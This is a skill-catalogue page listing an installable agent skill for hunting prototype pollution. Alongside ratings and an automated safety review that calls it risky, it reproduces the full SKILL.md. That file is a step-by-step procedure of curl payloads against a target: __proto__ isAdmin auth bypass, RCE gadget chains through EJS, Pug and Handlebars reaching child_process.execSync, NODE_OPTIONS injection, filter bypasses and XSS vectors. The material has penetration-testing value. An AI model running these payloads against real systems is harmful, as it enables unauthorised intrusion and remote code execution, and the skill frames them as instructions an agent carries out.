hunt-prototype-pollution
Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.
Install / Use
npx skills add uphiago/recon-skills --skill hunt-prototype-pollutionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
DesignSupported Platforms
Our assessment of hunt-prototype-pollution
hunt-prototype-pollution scores 89/100 on our quality scale, 103rd of 260 Design skills we index (top 40%).
Its SKILL.md is 6.2 KB long, well organised into 25 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.
With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 3 months ago, so hunt-prototype-pollution is actively maintained.
- Our last check on 2026-10-31 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync.
AI review: risky
- Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync.
- Directs the agent to inject auth-bypass payloads like {"__proto__":{"isAdmin":true}} and XSS vectors like javascript:alert(1) through polluted options.
- As a SKILL.md file these are active instructions the agent will follow, not passive documentation, causing it to perform offensive attacks against target systems.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-prototype-pollution compared with similar skills
All 4 of these similar skills score higher than hunt-prototype-pollution; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-prototype-pollution (this skill)by uphiago | 89 | 1.3k | 3mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install hunt-prototype-pollution?
- Run
npx skills add uphiago/recon-skills --skill hunt-prototype-pollution. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-prototype-pollution work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-prototype-pollution safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-prototype-pollution still maintained?
- The repository was last updated about 3 months ago, so hunt-prototype-pollution is actively maintained.
Skill content
View source on GitHubname: hunt-prototype-pollution description: Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE. category: redteam version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] compatibility: Requires curl, python3 tags: [redteam, prototype-pollution, XSS, RCE, JavaScript, Node.js, jQuery] related_skills:
- hunt-nodejs
- hunt-xss
- hunt-api-misconfig
Prototype Pollution Hunting
Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).
When to Use
- Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
- jQuery
$.extend(true, ...)or$.fn.merge()with deep copy on untrusted data. - Lodash
_.merge(),_.defaultsDeep(),_.set()receiving request body/query params. - Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
- Server-side Node.js with
child_process.exec/spawnaccessible via polluted options.
Quick Detection
# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
Procedure
Phase 1 — Client-Side Pollution Vectors
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
Phase 2 — Server-Side RCE via Gadget Chains
EJS RCE (outputFunctionName):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'
Pug RCE (self.block):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
Handlebars RCE (compileFunction):
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'
NODE_OPTIONS injection:
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
Phase 3 — Filter Bypass Techniques
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1 # blocked
https://target.com/?__pröto__[test]=1 # bypass (ä normalizes to a)
# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"constructor":{"prototype":{"polluted":true}}}'
# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"__proto__":{"polluted":[]}}' # forces array coercion
# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
Phase 4 — Client-Side Exploitation
// Verify pollution in browser console
Object.prototype.polluted // should return the injected value
// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}
// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
Phase 5 — Second-Order Pollution
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"name":{"__proto__":{"isAdmin":true}}}'
# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context
Pitfalls
- Not every
__proto__in a request is a finding. Only report when the polluted property actually affects application behavior. - Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
- Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
- BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.
Verification
- Inject
__proto__[test]=valueand verifyObject.prototype.test === valuein browser console or server response. - For RCE: confirm command execution produces output (id/whoami) in a visible sink.
- For XSS: verify the polluted property reaches
innerHTML,eval,document.write, or a scriptsrcattribute. - Document the exact merge/copy function and the polluted property chain.
Related Skills
hunt-nodejs— Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.hunt-xss— DOM XSS often exploitable through client-side prototype pollution.hunt-api-misconfig— Object merge on request bodies withouthasOwnPropertychecks.
Related Skills
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Scrapling
103.6k🕷️ The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
crawl4ai
87.4kOfficial Crawl4AI Cloud: a hosted web scraping, extraction, and search API for AI agents. Free API key, 1,000 credits a month, no card. Fully open source: this repo is the Apache-2.0 crawler that powers it, and you can self-host it.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
